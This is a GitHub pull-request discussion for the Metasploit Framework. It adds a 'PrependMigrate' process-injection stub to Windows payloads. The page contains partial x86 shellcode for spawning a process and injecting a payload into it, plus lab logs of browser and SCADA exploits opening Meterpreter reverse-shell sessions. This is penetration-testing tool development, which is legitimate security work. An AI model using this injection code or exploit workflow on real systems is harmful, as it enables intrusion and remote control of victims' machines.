Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Already on GitHub? Sign in to your account

Add migrate stub option to Windows x86 payloads. #917

Merged
merged 1 commit into from Oct 19, 2012

Conversation

Projects
None yet
5 participants
Contributor

scriptjunkie commented Oct 16, 2012

Migrate stub spawns payload in new process.

Contributor

wchen-r7 commented Oct 16, 2012

Related to #909.

Contributor

corelanc0d3r commented Oct 16, 2012

I guess this is still the original version, without asm modifications...

corelanc0d3r, I would think that crashes were caused by the api-finding code iterating over the module lists while DLLs are being loaded and those lists are being changed. Or maybe process-specific code could be changing something. Either way, I spawned the process suspended so that there should not be any other code running that could interfere with the shellcode. I had gotten crashes on a win7 64 VM before I made the changes but not after. Without any other active threads, I am not sure what would cause a crash, but if you think of something or still get crashes, let me know.

could very well be - there could be multiple reasons for crashes, but the migrator takes nicely care of it.

the delay I mentioned is just there to allow the newly created process to properly initialize before we call virtualallocex... only really had to use it once, on a slower computer

@jlee-r7 jlee-r7 commented on an outdated diff Oct 16, 2012

lib/msf/core/payload/windows.rb
+ push esi ; lpCommandLine
+ push ebx ; lpApplicationName
+
+ push 0x863FCC79 ; hash( "kernel32.dll", "CreateProcessA" )
+ call ebp ; CreateProcessA( &si );
+
+ ; allocate memory in the process (VirtualAllocEx())
+ ; get handle
+ mov ecx,[edi]
+ push 0x40 ; RWX
+ add bh,0x10 ; ebx = 0x1000
+ push ebx ; MEM_COMMIT
+ push ebx ; size
+ xor ebx,ebx
+ push ebx ; address
+ push ecx ; handle
@jlee-r7

jlee-r7 Oct 16, 2012

Contributor

I think you can save a byte here by just pushing edi directly instead of putting it in ecx first.

metasm > push [edi]
"\xff\x37"
metasm > mov ecx, [edi]; push ecx
"\x8b\x0f\x51"

@jlee-r7 jlee-r7 commented on an outdated diff Oct 16, 2012

lib/msf/core/payload/windows.rb
+ push 0x3F9287AE ; hash( "kernel32.dll", "VirtualAllocEx" )
+ call ebp ; VirtualAllocEx( ...);
+
+ ; eax now contains the destination
+ ; WriteProcessMemory()
+ lea esi, [edi + 4]
+ push esi ; lpNumberOfBytesWritten
+ push #{payloadsize} ; nSize
+ ; pick up pointer to shellcode & keep it on stack
+ jmp begin_of_payload
+ begin_of_payload_return:
+ pop edx
+ push edx ; lpBuffer
+ push eax ; lpBaseAddress
+ mov ecx,[edi] ; pick up handle again
+ push ecx ; hProcess
@jlee-r7

jlee-r7 Oct 16, 2012

Contributor

Same here.

metasm > push [edi]
"\xff\x37"
metasm > mov ecx, [edi]; push ecx
"\x8b\x0f\x51"
Contributor

scriptjunkie commented Oct 17, 2012

Ok. I made a number of changes using three push [edi] instructions. I also simplified the instructions by using a default stack size - see http://msdn.microsoft.com/en-us/library/windows/desktop/ms682437%28v=vs.85%29.aspx
Every thread spawned internally by meterpreter uses the default stack size, (which happens on every TLV if I remember correctly) so I really can't imagine the default stack size causing a problem and that saves a few instructions. Also, using a different register to get the address of the shellcode in the CreateRemoteThread call saves a few more bytes, since I don't need to re-initialize ebx. And finally, ebx is caller-saved and block_api respects that, so I don't even need to re-initialize ebx after the WriteProcessMemory call.

Contributor

scriptjunkie commented Oct 17, 2012

And all the comments line up now, which is a big relief if you have OCD tendencies!

Contributor

corelanc0d3r commented Oct 17, 2012

tested the latest version again:

msf  exploit(realwin_corelan) > exploit

[*] Started reverse handler on 192.168.201.201:4444 
[*] Trying target XP SP3...
[*] Sending stage (752128 bytes) to 192.168.201.205
[*] Meterpreter session 1 opened (192.168.201.201:4444 -> 192.168.201.205:4523) at Wed Oct 17 07:39:44 +0200 2012

meterpreter > 

good work guys !

Contributor

wchen-r7 commented Oct 17, 2012

I randomly picked an exploit for testing, seems to work well:

msf  exploit(ms12_037_ie_colspan) > [*] Server started.
[*] 10.0.1.6         ms12_037_ie_colspan - Using msvcrt ROP
[*] 10.0.1.6         ms12_037_ie_colspan - Sending exploit to 10.0.1.6:1075...
[*] Sending stage (752128 bytes) to 10.0.1.6
[*] Meterpreter session 2 opened (10.0.1.3:4444 -> 10.0.1.6:1083) at 2012-10-17 01:23:33 -0500
[*] Session ID 2 (10.0.1.3:4444 -> 10.0.1.6:1083) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: rundll32.exe (2760)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2956
[+] Successfully migrated to process

Will be doing more testing...

Contributor

corelanc0d3r commented Oct 17, 2012

when this goes out, some documentation/small blogpost may be needed to explain what it is and how to use it. Although users can now set the PrependMigrate option, this usually is not necessary. It might break existing exploits because it makes the payload a lot bigger.
In fact, the exploit module developer is the one who should take the decision to activate it, and do so inside the module itself (by setting PrependMigrate to True by default). For that reason, I'm not a huge fan of having this option available to end users.
Is there a way to prevent that a user would disable the option again ? If the option is set by the module developer, it should not be deactivated by a user because they might not get a working meterpreter shell anymore.

This is not a "fancy" feature people can just turn on and off, but it's required functionality to get a very specific exploit working properly, and that's why I used options inside the 'Payload' section of a module to activate the functionality in the versions I pushed about a year ago.

Contributor

wchen-r7 commented Oct 17, 2012

Usually existing modules restrict buffer size in two ways

  • something*(x.length-2000), which will throw a negative argument error when the buffer is too big.
  • Specifying the 'space' key in 'Payload'

If the exploit isn't written to restrict the size of the payload, then yeah, PrependMigrate could break it especially if has a small buffer.

The developer can enforce PrependMigrate, I suppose. Can register the PrependMigrate option and set to true by default, or do datastore['PrependMigrate'] = true. However, if you want to do the second, it's best to have a function in the mixin to allow that feature. I get yelled at a lot when I modify datastore directly in the module... none of us should be doing that actually (even though sometimes that's the only way force an option).

I probably will write a blog about that for documentation purposes, but that's not a blocker to this pull request.

Contributor

jlee-r7 commented Oct 17, 2012

@corelanc0d3r - I disagree that it isn't a fancy feature. Automigrating any browser exploit means you don't have to race the user clicking the X when they decide the browser is hosed. It also means we can get rid of 'InitialAutoRunScript' => 'migrate -f' in a lot of places.

If an exploit absolutely requires this functionality in order to be stable, the exploit developer can deregister the option and force it to true.

Contributor

wchen-r7 commented Oct 17, 2012

I'd rather having it as an option instead of default. If you set PrependMigrate as default, you risk breaking a lot of exploits... and it's impossible to test all 900+ of them. Those that are already using InitialAutoRunScript should still behave the same way, but future exploits may consider using PrependMIgrate.

Contributor

jlee-r7 commented Oct 17, 2012

Agreed. I'm not suggesting we default PrependMigrate to true for everything, just that it's ok for it to be a user option. Many advanced options can cause exploits to break - if the user sets it without testing, it's their fault, not ours. That being said, the option description should probably say as much.

Contributor

wchen-r7 commented Oct 17, 2012

We are in agreement.

corelanc0d3r -- if you're okay with the idea of registering PrependMigrate as a solution, I'll carry on and do some testing.

Contributor

corelanc0d3r commented Oct 17, 2012

agreed - and just for my info, if the module dev has deregistered the option and set it to True, does that mean the user cannot overrule it at the console ? If that is the case, then that's exactly what we need.

go for it !

Contributor

wchen-r7 commented Oct 17, 2012

If you wanna force it, I suppose you can do it like this in the module:

datastore['PrependMigrate'] = true

However, we don't really encourage people to modify a datastore option like that. The best approach in my opinion would be what corelanc0d3r suggested before -- specifying something in the metadata.

Contributor

todb-r7 commented Oct 17, 2012

Modifying the datastore directly like that should not be done at all, fwiw. The datastore is validated right before runtime, so modifying it after validation can lead to unrepeatable results.

Contributor

jlee-r7 commented Oct 18, 2012

The solution to that is to deregister the option. If the user cannot modify it, it is not an Option anyway.

Contributor

corelanc0d3r commented Oct 18, 2012

that's good enough for me :)

Contributor

wchen-r7 commented Oct 18, 2012

Since no errors or problems have been found, and that we are in agreement that we should use OptBool to enable/disable PrependMigrate... does that mean we can merge this now?

If you agree, say "aye".

Contributor

corelanc0d3r commented Oct 18, 2012

I just said 'aye', but I doubt anyone can hear me from here

Contributor

todb-r7 commented Oct 18, 2012

@wchen-r7 no, still need to resolve the prependmigrate thing. Right now it's all talk, no commits (the last few comments)

Contributor

corelanc0d3r commented Oct 18, 2012

my only concern was that users would be able to overrule the prependmigrate, when it's set by the module developer. Since deregistering the option & hardcoding it to True inside the module fixes that, my issue is resolved too.

Contributor

wchen-r7 commented Oct 18, 2012

The solution we're proposing to the PrependMigrate thingy is:

  1. Set the option in DefaultOptions:

    'DefaultOptions' =>
    {
    'PrependMigrate' => true
    },

  2. And then deregister:

    deregister_options('PREPENDMIGRATE')

All done in the module that wants to use the option.

Contributor

scriptjunkie commented Oct 18, 2012

Aye! The solution above looks good to me and leaving it as an option means I can use it in custom-generated payloads too.

Contributor

wchen-r7 commented Oct 18, 2012

I noticed that If I do this, PrependMigrate actually won't get set to true:

'DefaultOptions'  => { 'PrependMigrate' => true },
...
deregister_options('PrependMigrate')

So the proper way to set the option from source is simply:

'DefaultOptions'  => { 'PrependMigrate' => true },
Contributor

wchen-r7 commented Oct 18, 2012

So I modified MS12-063 as a test-case, can be found here:
http://pastebin.com/F43bSwGL

And here's the test result:

msf  exploit(prependmigrate_test) > set

Global
======

No entries in data store.

Module: windows/browser/prependmigrate_test
===========================================

  Name                      Value
  ----                      -----
  AutoLoadStdapi            true
  AutoRunScript             
  AutoSystemInfo            true
  DisablePayloadHandler     false
  EXITFUNC                  process
  EnableContextEncoding     false
  EnableUnicodeEncoding     true
  ExitFunction              none
  HTML::base64              none
  HTML::javascript::escape  0
  HTML::unicode             none
  HTTP::chunked             false
  HTTP::compression         none
  HTTP::header_folding      false
  HTTP::junk_headers        false
  HTTP::server_name         Apache
  InitialAutoRunScript      
  LPORT                     4444
  OBFUSCATE                 false
  PrependMigrate            true
  ReverseAllowProxy         false
  ReverseConnectRetries     5
  SRVHOST                   0.0.0.0
  SRVPORT                   8080
  SSL                       false
  SSLVersion                SSL3
  TCP::max_send_size        0
  TCP::send_delay           0
  VERBOSE                   false
  lhost                     10.0.1.3
  payload                   windows/meterpreter/reverse_tcp

msf  exploit(prependmigrate_test) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 10.0.1.3:4444 
[!] PrependMigrate option = true
[*] Using URL: http://0.0.0.0:8080/arrOMwXHgvS3Jon
[*]  Local IP: http://10.0.1.3:8080/arrOMwXHgvS3Jon
msf  exploit(prependmigrate_test) > [*] Server started.
[*] 10.0.1.6         prependmigrate_test - Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E)
[*] 10.0.1.6         prependmigrate_test - Redirecting to BLQuL.html
[*] 10.0.1.6         prependmigrate_test - Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E)
[*] 10.0.1.6         prependmigrate_test - Loading BLQuL.html
[*] 10.0.1.6         prependmigrate_test - Using msvcrt ROP
[*] 10.0.1.6         prependmigrate_test - Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E)
[*] 10.0.1.6         prependmigrate_test - Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E)
[*] 10.0.1.6         prependmigrate_test - Loading dznuSJ.html
[*] 10.0.1.6         prependmigrate_test - Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E)
[*] Sending stage (752128 bytes) to 10.0.1.6
[*] Meterpreter session 1 opened (10.0.1.3:4444 -> 10.0.1.6:1122) at 2012-10-18 18:08:17 -0500

msf  exploit(prependmigrate_test) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getpid
Current pid: 3068
meterpreter > ps

Process List
============

 PID   PPID  Name                 Arch  Session     User                 Path
 ---   ----  ----                 ----  -------     ----                 ----
....
 3068  2340  rundll32.exe         x86   0           XP\lab               C:\WINDOWS\system32\rundll32.exe
....


meterpreter >

So, looks good, runs fine, and the four of us agree with each other (scriptjunkie,corelanc0d3r,egypt, me).... tomorrow I will ask Todb for more clarification on his concern, and then if there's no more problem, I'll merge it.

Contributor

wchen-r7 commented Oct 19, 2012

Talked to Todb. As long as we're not assigning datastore['PrependMigrate'] directly in the module, we're good.

Contributor

todb-r7 commented Oct 19, 2012

I used to like

if !foo_function?
 do_stuff()
end

but I'm so into

unless foo_function?
  do_stuff()
end

Because it doesn't require reading things backwards.

(wrt proposal over on #932)

Contributor

wchen-r7 commented Oct 19, 2012

scriptjunkie, mind adding this function in lib/msf/core/exploit.rb?

def prepend_migrate?
    datastore['PrependMigrate']
end

@todb-r7 todb-r7 referenced this pull request in scriptjunkie/metasploit-framework Oct 19, 2012

Merged

Adding prepend_migrate? #2

Contributor

scriptjunkie commented Oct 19, 2012

Okee Dokee!

Contributor

wchen-r7 commented Oct 19, 2012

Awesome!

@wchen-r7 wchen-r7 merged commit 3d08c0c into rapid7:master Oct 19, 2012

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment